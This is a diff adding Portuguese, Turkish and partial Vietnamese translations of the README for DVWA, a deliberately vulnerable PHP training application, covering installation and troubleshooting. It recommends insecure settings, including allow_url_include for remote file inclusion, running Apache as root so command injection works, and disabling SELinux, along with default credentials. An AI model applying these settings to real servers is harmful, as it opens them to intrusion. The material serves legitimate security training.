significa que há uma configuração incorreta. + +``` +Database Error #2054: The server requested authentication method unknown to the client. +``` + +Você tem duas opções, a mais fácil é desinstalar o MySQL e instalar o MariaDB. O seguinte é o guia oficial do projeto MariaDB: + + + +Alternativamente, siga estes passos: + +1. Como root, edite o seguinte arquivo: `/etc/mysql/mysql.conf.d/mysqld.cnf` +2. Abaixo da linha `[mysqld]`, adicione o seguinte: + `default-authentication-plugin=mysql_native_password` +3. Reinicie o banco de dados: `sudo service mysql restart` +4. Verifique o método de autenticação para o usuário do seu banco de dados: + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------------------+-----------------------+ + | Host | User | plugin | + +-----------+------------------+-----------------------+ + | localhost | dvwa | caching_sha2_password | + +-----------+------------------+-----------------------+ + 1 rows in set (0.00 sec) + ``` + +5. Provavelmente você verá `caching_sha2_password`. Se for esse o caso, execute o seguinte comando: + + ```sql + mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd'; + ``` + +6. Executando novamente a verificação, agora você deve ver `mysql_native_password`. + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------+-----------------------+ + | Host | User | plugin | + +-----------+------+-----------------------+ + | localhost | dvwa | mysql_native_password | + +-----------+------+-----------------------+ + 1 row in set (0.00 sec) + ``` + +Após tudo isso, o processo de configuração deve funcionar normalmente. + +Se você quiser mais informações, consulte a seguinte página: https://www.php.net/manual/en/mysqli.requirements.php. + +### Database Error #2002: No such file or directory. + +O servidor de banco de dados não está em execução. Em uma distribuição baseada em Debian, isso pode ser feito com o seguinte comando: + +```sh +sudo service mysql start +``` + +### Erros "MySQL server has gone away" and "Packets out of order" + +Existem algumas razões pelas quais você pode estar recebendo esses erros, mas a mais provável é que a versão do servidor de banco de dados que você está executando não seja compatível com a versão do PHP. + +Isso é mais comumente encontrado quando você está executando a versão mais recente do MySQL, pois o PHP e o MySQL não se dão bem. O melhor conselho é abandonar o MySQL e instalar o MariaDB, já que isso não é algo que possamos oferecer suporte. + +Para mais informações, consulte: + + + +### Injeção de comando não funciona + +O Apache pode não ter privilégios suficientes para executar comandos no servidor web. Se você estiver executando o DVWA no Linux, certifique-se de estar logado como root. No Windows, faça login como Administrador. + +### Por que o banco de dados não pode se conectar no CentOS? + +Você pode estar tendo problemas com o SELinux. Desative o SELinux ou execute este comando para permitir que o servidor web se comunique com o banco de dados: +``` +setsebool -P httpd_can_network_connect_db 1 +``` + +### Mais Alguma Coisa + +Para obter as informações mais recentes de solução de problemas, leia os tickets abertos e fechados no repositório do git: + + + +Antes de enviar um ticket, certifique-se de que está executando a versão mais recente do código do repositório. Esta não é a última versão lançada, mas sim o último código da master branch. + +Se você estiver abrindo um chamado de suporte, por favor, forneça pelo menos as seguintes informações: + +- Sistema operacional +- As últimas 5 linhas do log de erro do servidor web logo após o erro que está relatando +- Se for um problema de autenticação do banco de dados, siga os passos acima e tire uma captura de tela de cada etapa. Envie essas informações juntamente com uma captura de tela da seção do arquivo de configuração que mostra o usuário e a senha do banco de dados. +- Uma descrição completa do que está acontecendo, o que você espera que aconteça e o que tentou fazer para resolver o problema. "login broken" não é suficiente para entendermos o seu problema e ajudá-lo a corrigi-lo. + +- - - + +## Tutoriais + +Vou tentar criar alguns vídeos tutoriais que expliquem algumas das vulnerabilidades e mostrem como detectá-las e explorá-las. Aqui estão os que eu fiz até agora: + +[Finding and Exploiting Reflected XSS](https://youtu.be/V4MATqtdxss) + +- - - + +## SQLite3 SQL Injection + +_O suporte para isso é limitado, antes de levantar problemas, por favor, certifique-se de estar preparado para depurar, não simplesmente alegue "não funciona"._ + +Por padrão, o SQLi e o Blind SQLi são feitos contra o servidor MariaDB/MySQL usado pelo site, mas é possível alternar para fazer os testes SQLi contra o SQLite3. + +Eu não vou cobrir como fazer o SQLite3 funcionar com o PHP, mas deve ser um caso simples de instalar o pacote `php-sqlite3` e garantir que ele esteja habilitado. + +Para fazer a mudança, simplesmente edite o arquivo de configuração e adicione ou edite estas linhas: + +``` +$_DVWA["SQLI_DB"] = "sqlite"; +$_DVWA["SQLITE_DB"] = "sqli.db"; +``` + +Por padrão, ele usa o arquivo `database/sqli.db`, se você bagunçar, basta copiar `database/sqli.db.dist` por cima. + +Os desafios são exatamente os mesmos do MySQL, mas são executados no SQLite3 em vez disso. + +- - - + +👨‍💻 Contribudores +----- + +Obrigado por todas as suas contribuições e por manter este projeto atualizado. :heart: + +Se você tiver alguma ideia, alguma melhoria ou simplesmente quiser colaborar, você é bem-vindo a contribuir e participar do projeto, sinta-se à vontade para enviar sua PR. + +

+ + + +

+ +- - - + +## Links + +Project Home: + +*Created by the DVWA team* + diff --git a/DVWA/README.tr.md b/DVWA/README.tr.md new file mode 100644 index 00000000..933458bf --- /dev/null +++ b/DVWA/README.tr.md @@ -0,0 +1,410 @@ +# DAMN VULNERABLE WEB APPLICATION + +Damn Vulnerable Web Application (DVWA), son derece zafiyetli bir PHP/MySQL web uygulamasıdır. Temel amacı; güvenlik uzmanlarına, yeteneklerini ve araçlarını test etmeleri konusunda yasal bir ortam sunmak, web geliştiricilerinin web uygulamalarının güvenliğini sağlama süreçlerini daha iyi anlamalarına yardımcı olmak, öğrencilere ve eğitmenlere web uygulamalarının güvenliğini öğrenme/öğretme konusunda kontrollü bir sınıf ortamı sunmaktır. + +DVWA, **en yaygın web zafiyetlerinden bazılarının** basit bir arayüz üzerinden **farklı zorluk seviyelerinde denenmesini** hedefler. Bu uygulamada, **dokümante edilmiş ve edilmemiş** zafiyetler olduğunu hatırlatmakta fayda var. Mümkün mertebe fazla problemi deneyin ve keşfedin! +- - - + +## UYARI! + +Damn Vulnerable Web Application epey zafiyetlidir! **Internet üzerinden erişilebilen bir sunucuya veya barındırma hizmeti sağlayıcınızın public_html dizinine yüklemeyin.** Bu durum, sunucunuzu tehlikeye atar. [VirtualBox](https://www.virtualbox.org/) veya [VMware](https://www.vmware.com/) gibi bir ortamda, sanal makinede, NAT ağı modunda kullanmanız önerilir. Sanal makine içinde web sunucusu ve veri tabanı için [XAMPP](https://www.apachefriends.org/) indirip kurabilirsiniz. + +### Sorumluluk Reddi + +Herhangi bir kişinin bu uygulamayı (DVWA) nasıl kullandığı konusunda sorumluluk kabul etmiyoruz. Uygulamanın amaçlarını açıkça ifade ettik, bu uygulama kötü amaçlarla kullanılmamalıdır. Kullanıcıların, DVWA'yı canlı ortamdaki web sunucularına yüklemelerine engel olmak için uyarılarda bulunduk ve önlemler aldık. Web sunucunuz, bir DVWA kurulumu nedeniyle tehlikeye düştüyse, bu bizim sorumluluğumuz değildir. Uygulamayı yükleyen ve kuran kişi ya da kişilerin sorumluluğudur. + +- - - + +## Lisans + +Bu dosya, Damn Vulnerable Web Application'ın (DVWA) bir parçasıdır. + +Damn Vulnerable Web Application (DVWA) bir özgür yazılımdır. Yazılımı; Özgür Yazılım Vakfı +tarafından yayınlanan GNU Genel Kamu Lisansı'nın 3. versiyonu ya da tercihinize göre daha yeni +bir versiyonunda yer alan koşullar altında yeniden dağıtabilir ve/veya değiştirebilirsiniz. + +Damn Vulnerable Web Application (DVWA), faydalı olması umuduyla, ancak HERHANGİ BİR GARANTİ OLMADAN, +SATILABİLİRLİK veya BELİRLİ BİR AMACA UYGUNLUK garantisi bile ima edilmeden dağıtılmıştır. +Detaylı bilgi için GNU Genel Kamu Lisansı'nı inceleyiniz. + +Damn Vulnerable Web Application (DVWA) ile birlikte, GNU Genel Kamu Lisansı'nın da bir kopyasını +edinmiş olmalısınız. Durum böyle değilse, sayfasını inceleyiniz. + +- - - + +## Uluslararasılaştırma + +Bu dosya, birden fazla dilde mevcuttur: + +- Çince: [简体中文](README.zh.md) +- İngilizce: [English](README.md) + +Çeviri katkısında bulunmak istiyorsanız lütfen PR açın. Ancak dikkat edin; bu, dosyayı Google Translate'ten geçirip göndermeniz anlamına gelmemektedir. Bu tür talepler reddedilecektir. + +- - - + +## İndirme + +Her ne kadar DVWA'nın farklı sürümleri de olsa, desteklenen tek sürüm, resmi GitHub repository'sindeki son kaynak kodudur. Dilerseniz, repo'dan klonlayabilir: + +``` +git clone https://github.com/digininja/DVWA.git +``` + +ya da [ZIP olarak indirebilirsiniz](https://github.com/digininja/DVWA/archive/master.zip). + +- - - + +## Kurulum + +**Lütfen config/config.inc.php dosyasınızın var olduğundan emin olun. Yalnızca config.inc.php.dist dosyasına sahip olmak yeterli olmayacaktır. Bu dosyayı, ortamınıza uygun şekilde düzenlemeniz ve config.inc.php şeklinde yeniden adlandırmanız gerekecektir. [Windows, dosya uzantılarını gizleyebilir.](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/)** + +### Kurulum Videoları + +- [Damn Vulnerable Web Application'ın (DVWA) Windows 10'da kurulumu](https://www.youtube.com/watch?v=cak2lQvBRAo) [12:39 dakika] + +### Windows + XAMPP + +Eğer bir web sunucusu kurulumunuz yoksa, DVWA'yı kurmanın en kolay yolu [XAMPP](https://www.apachefriends.org/) indirip kurmaktır. + +XAMPP; Linux, Solaris, Windows ve Mac OS X için kurulumu oldukça kolay bir Apache ürünüdür. Paketin içeriğinde Apache web sunucusu, MySQL, PHP, Perl, bir FTP sunucusu ve phpMyAdmin yer almaktadır. + +XAMPP'ı şu bağlantıdan indirebilirsiniz: + + +dvwa.zip dosyasını arşivden çıkarın. Çıkarılan dosyaları public html dizininize taşıyın. Sonra tarayıcınızdan `http://127.0.0.1/dvwa/setup.php` adresine gidin. + +### Linux Paketleri + +Debian tabanlı bir Linux dağıtımı kullanıyorsanız, aşağıdaki paketleri _(ya da eşleniklerini)_ kurmanız gerekmektedir: + +`apt-get -y install apache2 mariadb-server php php-mysqli php-gd libapache2-mod-php` + +Site, MariaDB yerine MySQL ile çalışacak. Ancak kullanıma hazır geldiği için MariaDB'yi şiddetle tavsiye ediyoruz. MySQL'in doğru çalışması için ise bazı değişiklikler yapmanız gerekiyor. + +### Veri Tabanının Hazırlanması + +Veri tabanını ayağa kaldırmak için, önce ana menüdeki `Setup DVWA` butonuna, sonra da `Create / Reset Database` butonuna tıklayın. Bu işlem sizin için, içinde bir miktar veri ile birlikte veri tabanını oluşturacak ya da veri tabanınızı sıfırlayacaktır. + +Eğer veri tabanını oluşturma sırasında bir hata ile karşılaşırsanız, `./config/config.inc.php` dosyasındaki veri tabanı giriş bilgilerinin doğru olduğundan emin olun. *Bu, sadece bir örnek dosya olan config.inc.php.dist dosyasından farklıdır.* + +Değişkenler, varsayılan olarak aşağıdaki gibi ayarlanmıştır: + +```php +$_DVWA[ 'db_server'] = '127.0.0.1'; +$_DVWA[ 'db_port'] = '3306'; +$_DVWA[ 'db_user' ] = 'dvwa'; +$_DVWA[ 'db_password' ] = 'p@ssw0rd'; +$_DVWA[ 'db_database' ] = 'dvwa'; +``` + +Not: Eğer MySQL yerine MariaDB kullanıyorsanız (MariaDB, Kali'nin varsayılanıdır) veri tabanının root kullanıcısını kullanamazsınız. Yeni bir veri tabanı kullanıcısı oluşturmalısınız. Bunu yapmak için, veri tabanına root olarak bağlanın ve aşağıdaki komutları çalıştırın: + +```mysql +mysql> create database dvwa; +Query OK, 1 row affected (0.00 sec) + +mysql> create user dvwa@localhost identified by 'p@ssw0rd'; +Query OK, 0 rows affected (0.01 sec) + +mysql> grant all on dvwa.* to dvwa@localhost; +Query OK, 0 rows affected (0.01 sec) + +mysql> flush privileges; +Query OK, 0 rows affected (0.00 sec) +``` + +### Diğer Yapılandırmalar + +İşletim sisteminize ve PHP sürümünüze bağlı olarak, varsayılan yapılandırmayı değiştirmek isteyebilirsiniz. Dosyaların konumu, cihazdan cihaza farklılık gösterecektir. + +**Dizin İzinleri**: + +* `./hackable/uploads/` - Web servisi tarafından yazılabilir olmalıdır (dosya yüklemeleri için). +* `./external/phpids/0.6/lib/IDS/tmp/phpids_log.txt` - Web servisi tarafından yazılabilir olmalıdır (PHPIDS kullanmak istiyorsanız). + +**PHP yapılandırması**: + +* `allow_url_include = on` - Remote File Inclusions'a (RFI) izin verir [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)] +* `allow_url_fopen = on` - Remote File Inclusions'a (RFI) izin verir [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)] +* `safe_mode = off` - (PHP <= v5.4 için) SQL Injection'a (SQLi) izin verir [[safe_mode](https://secure.php.net/manual/en/features.safe-mode.php)] +* `magic_quotes_gpc = off` - (PHP <= v5.4 için) SQL Injection'a (SQLi) izin verir [[magic_quotes_gpc](https://secure.php.net/manual/en/security.magicquotes.php)] +* `display_errors = off` - (İsteğe bağlı) PHP uyarı mesajlarını gizler [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)] + +**Dosya: `config/config.inc.php`**: + +* `$_DVWA[ 'recaptcha_public_key' ]` & `$_DVWA[ 'recaptcha_private_key' ]` - Bu değerler şuradan oluşturulmalı: https://www.google.com/recaptcha/admin/create + +### Varsayılan Giriş Bilgileri + +**Varsayılan kullanıcı adı = `admin`** + +**Varsayılan parola = `password`** + +_...kolaylıkla brute force edilebilir ;)_ + +Giriş URL'i: http://127.0.0.1/login.php + +_Not: DVWA'yı farklı bir dizine kurduysanız, URL değişecektir._ + +- - - + +## Docker Container + +- [dockerhub sayfası](https://hub.docker.com/r/vulnerables/web-dvwa/) + +`docker run --rm -it -p 80:80 vulnerables/web-dvwa` + +Lütfen, önceki MySQL sorunları nedeniyle aufs kullandığınızdan emin olun. Depolama sürücünüzü kontrol etmek için `docker info` çalıştırın. aufs değilse, lütfen değiştirin. Her işletim sistemi için bunu nasıl yapacağınıza dair dokümanlar mevcut. Ancak farklılık gösterdikleri için bu konuya değinmeyeceğiz. + +- - - + +## Sorun Giderme + +Bu öneriler; Debian, Ubuntu ve Kali gibi Debian tabanlı bir dağıtım kullandığınızı varsayar. Diğer dağıtımlar için yine bu adımları takip edin ancak gerekli yerlerde komutları değiştirin. + +### Site 404 hatası veriyor +Bu sorunu yaşıyorsanız, dosya konumlarını anlamalısınız. Varsayılan olarak Apache'nin belge kökü (web içeriğini aramaya başladığı konum) `/var/www/html` dizinidir. Bu dizine `hello.txt` dosyası eklerseniz, erişmek için `http://localhost/hello.txt` adresine gitmelisiniz. + +Eğer bir dizin oluşturup bu dosyayı o dizin içine eklediyseniz - `/var/www/html/mydir/hello.txt` - o hâlde `http://localhost/mydir/hello.txt` adresine gitmelisiniz. + +Linux varsayılan olarak büyük-küçük harfe duyarlıdır. Yani yukarıdaki örneğe bakarak, aşağıdakilerden birine gitmeyi denediyseniz, `404 Not Found` alırsınız: + +- `http://localhost/MyDir/hello.txt` +- `http://localhost/mydir/Hello.txt` +- `http://localhost/MYDIR/hello.txt` + +Bu DVWA'yı nasıl etkiler? Birçok kişi, DVWA'yı `/var/www/html` dizinine git ile klonlar. Bu da içinde tüm DVWA dosyaları ile birlikte `/var/www/html/DVWA/` dizinini oluşturur. Sonrasında `http://localhost/` adresine gittiklerinde `404` ya da varsayılan Apache hoş geldin sayfasını görürler. Dosyalar DVWA dizini içinde olduğu için, `http://localhost/DVWA` adresine gitmeniz gerekir. + +Başka bir sık karşılaşılan hata da, `http://localhost/dvwa` adresini ziyaret edip `404` almaktır. Çünkü Linux için `dvwa` ile `DVWA` farklı şeylerdir. + +Kurulum sonrasında siteyi ziyaret etmeyi denediğinizde `404` alıyorsanız, dosyaları nereye koyduğunuzu düşünün. Belge köküne göre tam olarak nerede kaldıklarına ve büyük-küçük harf kullanımına dikkat edin. + +### Setup'ı çalıştırırken "Access denied" + +Kurulum betiğini çalıştırdığınızda aşağıdaki hatayı alıyorsanız, veri tabanındaki kullanıcı adı ve parola ile yapılandırma dosyanızdakiler uyuşmuyor demektir: + +``` +Database Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES). +``` + +Hataya göre, `notdvwa` kullanıcısını kullanıyorsunuz. + +Aşağıdaki hata, yapılandırma dosyanızda yanlış veri tabanını yazdığınızı gösterir. + +``` +SQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa' +``` + +`dvwa` kullancısı ile `notdvwa` veri tabanına bağlanmaya çalıştığınızı belirtiyor. + +Yapılacak ilk şey, veri tabanınızın ismi ile yapılandırma dosyanızda belirttiğiniz ismi karşılaştırmaktır. + +Eğer eşleşiyorsa, komut satırından giriş yapıp yapamadığınıza bakın. Veri tabanı kullanıcınızın `dvwa` ve parolasının `p@ssw0rd` olduğunu varsayarsak, aşağıdaki komutu çalıştırın: + +``` +mysql -u dvwa -pp@ssw0rd -D dvwa +``` + +*Not: -p'den sonra boşluk yok* + +Aşağıdakine benzer bir çıktı görüyorsanız, parola doğrudur: + +``` +Welcome to the MariaDB monitor. Commands end with ; or \g. +Your MariaDB connection id is 14 +Server version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10 + +Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. + +Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + +MariaDB [dvwa]> +``` + +Komut satırından bağlanabildiğinize göre, yüksek ihtimalle yapılandırma dosyanızda bir şeyler yanlış. Tekrar kontrol edin. İşin içinden çıkamazsanız bir issue açın. + +Aşağıdaki çıktıyı alıyorsanız, kullanıcı adınız ve/veya parolanız hatalıdır. [Veri Tabanının Hazırlanması](#veri-tabanının-hazırlanması) bölümündeki adımları tekrar edin ve süreç boyunca aynı kullanıcı adı ve parolayı kullandığınızdan emin olun. + +``` +ERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES) +``` + +Aşağıdaki çıktıyı alıyorsanız, kullanıcı giriş bilgileri doğrudur ancak kullanıcının veri tabanına erişimi yoktur. Veri tabanı yapılandırma adımlarının tekrar edin ve kullandığınız veri tabanının ismini kontrol edin. + +``` +ERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa' +``` + +Yaşayabileceğiniz son hata ise şu: + +``` +ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) +``` + +Bu bir kimlik doğrulama sorunu değil. Size, veri tabanı sunucunuzun çalışmadığını gösteriyor. Aşağıdaki komut ile çalıştırın + +```sh +sudo service mysql start +``` + +### Unknown authentication method (Bilinmeyen kimlik doğrulama metodu) + +MySQL'in yeni sürümlerinde, PHP varsayılan yapılandırmasıyla veri tabanı ile artık konuşamamaktadır. Kurulum betiğini çalıştırdığınızda aşağıdaki mesajı alıyorsanız, yapılandırmanız var demektir. + +``` +Database Error #2054: The server requested authentication method unknown to the client. +``` + +İki seçeneğiniz var. En kolayı, MySQL'i kaldırmak ve MariaDB kurmak. Aşağıda, MariaDB projesinin resmi rehberi yer almakta: + + + +Alternatif olarak şu adımları takip edin: + +1. root kullanıcısıyla şu dosyayı düzenleyin: `/etc/mysql/mysql.conf.d/mysqld.cnf` + +2. `[mysqld]` satırının altına aşağıdakini ekleyin: + + `default-authentication-plugin=mysql_native_password` + +3. Veri tabanını yeniden başlatın: `sudo service mysql restart` +4. Veri tabanı kullanıcınız için kimlik doğrulama yöntemini kontrol edin: + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------------------+-----------------------+ + | Host | User | plugin | + +-----------+------------------+-----------------------+ + | localhost | dvwa | caching_sha2_password | + +-----------+------------------+-----------------------+ + 1 rows in set (0.00 sec) + ``` + +1. Muhtemelen `caching_sha2_password` ifadesini göreceksiniz. Durum böyleyse, aşağıdaki komutu çalıştırın: + + ```sql + mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd'; + ``` + +1. Tekrar kontrol ettiğinizda, `mysql_native_password` görmelisiniz. + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------+-----------------------+ + | Host | User | plugin | + +-----------+------+-----------------------+ + | localhost | dvwa | mysql_native_password | + +-----------+------+-----------------------+ + 1 row in set (0.00 sec) + ``` + +Bu adımlardan sonra, kurulum işlemi normal şekilde devam etmelidir. + +Daha fazla bilgi için şu sayfayı ziyaret edin: . + +### Database Error #2002: No such file or directory. + +Veri tabanı sunucusu çalışmıyor. Debian tabanlı bir dağıtımda şunu yapabilirsiniz: + +```sh +sudo service mysql start +``` + +### "MySQL server has gone away" ve "Packets out of order" hataları + +Bu hataları almanız için birkaç sebep vardır. Ancak yüksek ihtimalle veri tabanı sunucunuzun sürümü, PHP sürümünüzle uyumlu değildir. + +Bu en çok, MySQL'in en son sürümünü kullandığınızda - PHP ile iyi anlaşamadıkları için - karşınıza çıkar. Tavsiyemiz, MySQL'den kurtulun ve MariaDB kurun çünkü bu bizim destekleyebileceğimiz bir konu değil. + +Daha fazla bilgi için şu adresi ziyaret edin: + + + +### PHP v5.2.6 sürümünde SQL Injection çalışmıyor. + +PHP 5.x Ocak 2019'da yaşam döngüsünü tamamladığı için (end-of-life) DVWA'yı şu anki 7.x sürümüyle çalıştırmanızı öneriyoruz. + +PHP v5.2.6 ya da daha yukarısını kullanıyorsanız, SQL injection ve diğer zafiyetlerin çalışması için aşağıdaki adımları tamamlamanız gerekiyor. + +`.htaccess` içinde: + +Bunu: + +```php + + php_flag magic_quotes_gpc off + #php_flag allow_url_fopen on + #php_flag allow_url_include on + +``` + +Şununla değiştirin: + +```php + + magic_quotes_gpc = Off + allow_url_fopen = On + allow_url_include = On + +``` + +### Command Injection çalışmıyor + +Apache, web sunucusunda komutları çalıştırmak için yeterli yetkilere sahip olmayabilir. DVWA'yı Linux'ta çalıştırıyorsanız root olarak oturum açtığınızdan emin olun. Windows'ta ise Administrator olarak oturum açın. + +### CentOS'ta veri tabanı neden bağlanamıyor? + +SELinux ile problem yaşıyor olabilirsiniz. Ya SELinux'u kapatın ya da web sunucusunun veri tabanı ile konuşabilmesi için şu komutu kullanın: + +``` +setsebool -P httpd_can_network_connect_db 1 +``` + +### Kalan her şey + +En son sorun giderme kılavuzu için lütfen git repo'sundaki açık ve kapalı taleplerin tamamını okuyun: + + + +Bir talep göndermeden önce, repo'daki son kod sürümünü kullandığınızdan emin olun. Son "release" sürümünü değil, master dalındaki son kodları kastediyoruz. + +Eğer bir talep açacaksanız, en azından aşağıdaki bilgileri iletin: + +- İşletim sistemi +- Raporladığınız hatalar gerçekleştiği anda web sunucunuzun hata log'larına düşen son 5 satır +- Eğer bir veri tabanı kimlik doğrulama sorunu yaşıyorsanız, yukarıdaki adımların her birini tekrar edin ve her adımda ekran görüntüsü alın. Bunları, yapılandırma dosyanızdaki veri tabanı kullanıcı adını ve parolasını gösteren kısmın ekran görüntüsü ile birlikte gönderin. +- Yanlış giden şeyin tam açıklaması, ne olmasını beklediğiniz ve bunu düzeltmek için neler yaptığınız... "login çalışmıyor", sorununuzu anlayıp düzeltmemiz için yeterli değil. + +- - - + +## SQLite3 SQL Injection + +_Bu konudaki destek sınırlıdır. Issue açmadan önce, lütfen hata ayıklama sürecinde çalışmaya hazır olduğunuzdan emin olun. "Çalışmıyor" demeyin._ + +Varsayılan olarak; SQLi ve Blind SQLi, sitede kullanılan MariaDB/MySQL servisine yapılır. Ancak SQLi testlerini SQLite3'e çevirmek de mümkündür. + +SQLite3'ün PHP ile nasıl çalışacağını anlatmayacağım. Ancak `php-sqlite3` paketini kurmak ve bunun aktif olduğundan emin olmak işi çözebilir. + +Değiştirmek için, yapılandırma dosyanızı düzenleyin ve şu satırları ekleyin/düzenleyin: + +``` +$_DVWA["SQLI_DB"] = "sqlite"; +$_DVWA["SQLITE_DB"] = "sqli.db"; +``` + +Varsayılan olarak `database/sqli.db` dosyasını kullanır. Bu dosyayı batırırsanız, `database/sqli.db.dist` dosyasını bunun üzerine kopyalayın. + +Olay MySQL ile aynı. Sadece SQLite3'e karşı yapılacak. + +- - - + +## Bağlantılar + +Proje Sayfası: + +*DVWA takımı tarafından oluşturulmuştur* + +## Çeviri + +Ali Sezişli: [alisezisli](https://github.com/alisezisli) diff --git a/DVWA/README.vi.md b/DVWA/README.vi.md new file mode 100644 index 00000000..bdc17839 --- /dev/null +++ b/DVWA/README.vi.md @@ -0,0 +1,681 @@ +# DAMN VULNERABLE WEB APPLICATION - ỨNG DỤNG WEB DỄ BỊ TẤN CÔNG + +Damn Vulnerable Web Application (DVWA) là một ứng dụng web PHP/MySQL cực kỳ dễ bị tấn công. Mục tiêu chính của ứng dụng này là hỗ trợ các chuyên gia bảo mật kiểm tra kỹ năng và công cụ của họ trong môi trường pháp lý, giúp các web dev hiểu rõ hơn về quy trình bảo mật ứng dụng web và hỗ trợ cả học sinh/sinh viên và giáo viên tìm hiểu về bảo mật ứng dụng web trong một môi trường được kiểm soát. + +Mục đích của DVWA là **thực hành với một số lỗ hổng web phổ biến nhất**, với **mức độ khó khác nhau** và giao diện đơn giản, dễ hiểu. +Xin lưu ý, có **cả lỗ hổng được ghi lại và không** với phần mềm này. Đây là có chủ đích. Bạn nên thử và khám phá càng nhiều vấn đề càng tốt. + +- - - + +## Cảnh báo! + +Damn Vulnerable Web Application dễ bị tấn công! **Không tải nó lên folder public của nhà cung cấp dịch vụ lưu trữ của bạn hoặc bất kỳ máy chủ nào có kết nối Internet**, vì chúng sẽ bị xâm phạm. Bạn nên sử dụng máy ảo (vd như [VirtualBox](https://www.virtualbox.org/) hoặc [VMware](https://www.vmware.com/)), để sử dụng chế độ NAT networking. Trên máy khác, bạn tải và cài đặt [XAMPP](https://www.apachefriends.org/) cho web server và database. + +### Tuyên bố miễn trừ trách nhiệm + +Chúng tôi không chịu trách nhiệm về cách thức mà bất kỳ ai sử dụng ứng dụng này (DVWA). Chúng tôi đã nêu rõ mục đích của ứng dụng và không nên sử dụng ứng dụng này cho mục đích xấu. Chúng tôi đã đưa ra cảnh báo và thực hiện các biện pháp để ngăn người dùng cài đặt DVWA trên máy chủ web thực tế. Nếu máy chủ web của bạn bị xâm phạm thông qua cài đặt DVWA, đó không phải là trách nhiệm của chúng tôi, mà đó là trách nhiệm của những người đã tải lên và cài đặt. + +- - - + +## Giấy phép + +File này là một phần của Damn Vulnerable Web Application (DVWA). + +Damn Vulnerable Web Application (DVWA) là phần mềm miễn phí: bạn có thể phân phối lại và/hoặc sửa đổi nó +nó theo các điều khoản của Giấy phép GNU General Public được xuất bản bởi +Tổ chức Phần mềm Tự do, phiên bản 3 của Giấy phép, hoặc +(theo lựa chọn của bạn) bất kỳ phiên bản mới hơn. + +Damn Vulnerable Web Application (DVWA) được phân phối với hy vọng là nó sẽ hữu ích, +nhưng KHÔNG CÓ BẤT KỲ SỰ ĐẢM BẢO NÀO; thậm chí không có sự bảo đảm ngụ ý của +KHẢ NĂNG THƯƠNG MẠI hoặc SỰ PHÙ HỢP CHO MỘT MỤC ĐÍCH CỤ THỂ. Xem +Giấy phép GNU General Public để biết thêm chi tiết. + +Bạn hẳn đã nhận được một bản sao Giấy phép GNU General Public +cùng với Damn Vulnerable Web Application (DVWA). Nếu như không, hãy xem . + +- - - + +## Internationalisation + +File này đã được dịch ra nhiều ngôn ngữ: + +- Tiếng Ả Rập: [العربية](README.ar.md) +- Tiếng Trung Quốc: [简体中文](README.zh.md) +- Tiếng Pháp: [Français](README.fr.md) +- Tiếng Hàn: [한국어](README.ko.md) +- Tiếng Ba Tư: [فارسی](README.fa.md) +- Tiếng Bồ Đào Nha: [Português](README.pt.md) +- Tiếng Tây Ban Nha: [Español](README.es.md) +- Tiếng Thổ Nhĩ Kỳ: [Türkçe](README.tr.md) +- Tiếng Indonesia: [Indonesia](README.id.md) +- Tiếng Việt: [Vietnamese](README.vi.md) + +Nếu bạn muốn đóng góp bản dịch, vui lòng tạo PR. Tuy nhiên, xin lưu ý rằng điều này không có nghĩa là chỉ dịch nó bằng Google Dịch và gửi, những nội dung như vậy sẽ bị từ chối. Gửi bản dịch của bạn bằng cách thêm file 'README.xx.md' mới trong đó xx là mã gồm hai chữ cái đại diện của ngôn ngữ bạn muốn (dựa vào [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes)). + +- - - + +## Download + +Mặc dù có nhiều phiên bản DVWA khác nhau nhưng phiên bản được hỗ trợ duy nhất là từ repo GitHub chính thức này. Bạn có thể clone nó từ repo: + +``` +git clone https://github.com/digininja/DVWA.git +``` + +Hoặc [tải file zip](https://github.com/digininja/DVWA/archive/master.zip). + +- - - + +## Cài đặt + +### Cài đặt tự động 🛠️ + +**Lưu ý, đây không phải là script chính thức của DVWA, nó được viết bởi [IamCarron](https://github.com/iamCarron/). Rất nhiều nỗ lực đã được thực hiện để tạo script và khi nó được tạo, nó không làm bất cứ điều gì độc hại, tuy nhiên, để đề phòng, bạn nên xem lại script trước khi chạy nó một cách mù quáng trên hệ thống của mình. Vui lòng báo cáo bất kỳ lỗi nào cho [IamCarron](https://github.com/iamCarron/), chứ không phải reong repo này.** + +Script cấu hình tự động cho DVWA trên các máy dựa trên Debian, bao gồm Kali, Ubuntu, Kubuntu, Linux Mint, Zorin OS... + +**Lưu ý: Script này yêu cầu quyền root và được điều chỉnh cho các distro dựa trên Debian. Đảm bảo bạn đang chạy nó với quyền root user.** + +#### Yêu cầu cài đặt + +- **Hệ điều hành:** Distro trên Debian (Kali, Ubuntu, Kubuntu, Linux Mint, Zorin OS). +- **Đặc quyền:** Sử dụng root user. + +#### Các bước cài đặt + +##### Bằng một lệnh duy nhất (One-liner) + +Lệnh này sẽ tải script cài đặt được viết bởi [@IamCarron](https://github.com/IamCarron) xuống và tự động chạy script đó. Điều này sẽ không được đưa vào đây nếu chúng tôi không tin cậy tác giả và kịch bản như khi chúng tôi xem xét nó, nhưng luôn có khả năng ai đó sẽ lừa đảo và vì vậy nếu bạn không cảm thấy an toàn 